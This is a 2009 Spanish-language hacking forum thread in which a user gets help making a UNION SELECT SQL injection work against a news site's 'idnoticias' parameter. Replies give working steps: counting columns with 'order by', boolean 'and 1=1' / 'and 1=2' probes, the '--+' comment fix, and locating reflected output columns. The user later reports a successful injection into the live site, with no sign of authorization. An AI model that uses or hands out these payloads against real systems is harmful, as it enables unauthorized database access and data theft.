Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: noukeys en 28 Agosto 2009, 09:49 am



Título: SQL Injection UNION SELECT
Publicado por: noukeys en 28 Agosto 2009, 09:49 am
Buenas a todos,

He probado una inección del tipo
Código:
 ... UNION SELECT 1,2,3,4... -- 
Siempre me retorna el mismo msg. No coinciden las columnas.
el caso es . . . he probado desde 1 a 500 !!!
¿No creo que tenga más de 500 columnas?¿o, si . . .?

ALguna idea???

Muchas gracias por adelantado


Título: Re: SQL Injection UNION SELECT
Publicado por: kamsky en 28 Agosto 2009, 16:01 pm
pues no creo no... has probado a hacer alguna consulta erronea por narices? te devuelve también lo mismo?? que devuelve..??


Título: Re: SQL Injection UNION SELECT
Publicado por: fede_cp en 28 Agosto 2009, 16:21 pm
hola, bueno una de las cosas que hago para sacar el numero de columnas es asi(todo por partes):

primer ejemplo php?idnoticias=-1 order by 100--
y despues php?idnoticias= -1 order by 1--
entre esos dos casos tendrias que notas una diferencia

y despues vas buscando... php?idnoticias=-1 order by 10--
si se mantiene como -1 order by 1-- entonces tiene esa cantidad de columnas O MAS, entonces seguis

php?idnoticias=-1 order by 15
pero en este caso dio error, entonces probas -1 order by 13-- pero tambien dio error, y entonces hace -1 order by 11-- en este caso no dio error, entonces te queda probar el 12, -1 order by 12--  no dio error

entonces la cantidad de columnas es 12

y ahi haces

php?idnoticias=-1 union all select 1,2,3,4,5,6,7,8,9,10,11,12--

ahi esta bien hecho

PD= esto va en nivel web

saludoss!!


Título: Re: SQL Injection UNION SELECT
Publicado por: noukeys en 28 Agosto 2009, 16:33 pm
kamsky, si he hecho consultas erroneas y tal. La verdad es que no se que puede pasar.

No rula :(

Código:
Unknown column '100' in 'order clause'


Título: Re: SQL Injection UNION SELECT
Publicado por: fede_cp en 28 Agosto 2009, 16:49 pm
perfecto entonces si dio Unknown column '100' in 'order clause' , segui como yo te dije



Cambien de lugar el tema
saludos


Título: Re: SQL Injection UNION SELECT
Publicado por: noukeys en 28 Agosto 2009, 18:53 pm
Esto parece que no va, mira:

Citar
php?idnoticias=-1 order by 100--
Código:
Unknown column '100' in 'order clause'

Citar
php?idnoticias= -1 order by 1--
Código:
Unknown column '1' in 'order clause'

Citar
php?idnoticias=-1 order by 10--
Código:
Unknown column '10' in 'order clause'

Ahora bien, si hago esto:

Código:
order by -1--
La página carga normalmente, como si no hubiese inyectado...

Nunca lo habia visto, ¿que puede ser?

{MAS INFO}

En otra parte del código, ha funcionado tu técnica. Tiene cuatro columnas, pero a la hora de hacer el UNION ALL SELECT queda asi:

Código:
usuario=xxxxx' union all select 1,2,3,4-- +
Código:
The used SELECT statements have a different number of columns

NOTESE EL '+' del final por esto:

Citar
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' ORDER BY fotos.ID DESC' at line 1

De todas formas. ¿Si dice Error en línea 1? Es porque esta en una línea la consulta, ¿no debería ignorarse con '--'?

A ver si saco algo en claro, buff . . .



Título: Re: SQL Injection UNION SELECT
Publicado por: fede_cp en 28 Agosto 2009, 20:16 pm
revisa un poco esto http://foro.elhacker.net/hacking_avanzado/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html (http://foro.elhacker.net/hacking_avanzado/gran_tutorial_sobre_inyecciones_sql_en_mysql-t247535.0.html)

saludos


Título: Re: SQL Injection UNION SELECT
Publicado por: WHK en 28 Agosto 2009, 21:19 pm
Aver, este error es bastante común y muchos se hacen bastantes problemas con esto.
No es que tenga -1 o 500 columnas lo que pasa esque la inyección rompe la query y se debe al comentario "--", por lo general siempre intenta seguir las inyecciones lo mas posible sin usar comentarios ya que muchas veces las querys utilizan selecciones que son vitales para el regreso de datos, además el comentario -- para que sea válido en mysql necesita estar solo o sea --order by no sirve porque --order no existe y 2,3,4,5-- tampoco porque 5-- no existe asi que una de dos.. o haces 2,3,4,5 --+ (+ significa espacio en blanco al igual que %20) o sigues la query... -1' union all select 1,2,3,4,5,6,'7 de esta froma no rompes el código.

Comienza denuevo e intenta con:
digamos que 55 es un id de noticia válido...
php?idnoticias=55 and 1=1
php?idnoticias=55 and 1=2
php?idnoticias=55' and 1='1
php?idnoticias=55' and 1='2
php?idnoticias=55' and 1=1 --+
etc y ves que te da error y que no da error, el que no te de error esa es tu inyección.


Título: Re: SQL Injection UNION SELECT
Publicado por: noukeys en 28 Agosto 2009, 22:56 pm
He seguido la guia y tal, el caso es.

 - Se que son 4 columnas.

¿porque encadene lo que encadene? UNION ALL SELECT 1,2,3,...,n me dice siempre.
Citar
The used SELECT statements have a different number of columns


Título: Re: SQL Injection UNION SELECT
Publicado por: Darioxhcx en 29 Agosto 2009, 02:20 am
He seguido la guia y tal, el caso es.

 - Se que son 4 columnas.

¿porque encadene lo que encadene? UNION ALL SELECT 1,2,3,...,n me dice siempre.
Citar
The used SELECT statements have a different number of columns
la pag dice algo mas ?
o solamente algo en blanco con ese error...
si dice algo mas mete un

union select 000 111 222 333

y en el codigo fuente busca alguno de esosvalores..


Título: Re: SQL Injection UNION SELECT
Publicado por: fede_cp en 29 Agosto 2009, 18:31 pm
a ver, pone la inyeccion que hiciste tal cual lo hiciste(sin la web obviamente)

saludos


Título: Re: SQL Injection UNION SELECT
Publicado por: noukeys en 2 Septiembre 2009, 22:06 pm
Bueno, logre inyectar al final.

Encontre otra parte vulnerable. Creo que no hacia bien el UNION SELECT porque existian subconsultas anidadas.

En fin podeis cerrar este post.


Título: Re: SQL Injection UNION SELECT
Publicado por: fede_cp en 2 Septiembre 2009, 22:55 pm
 ;)

saludos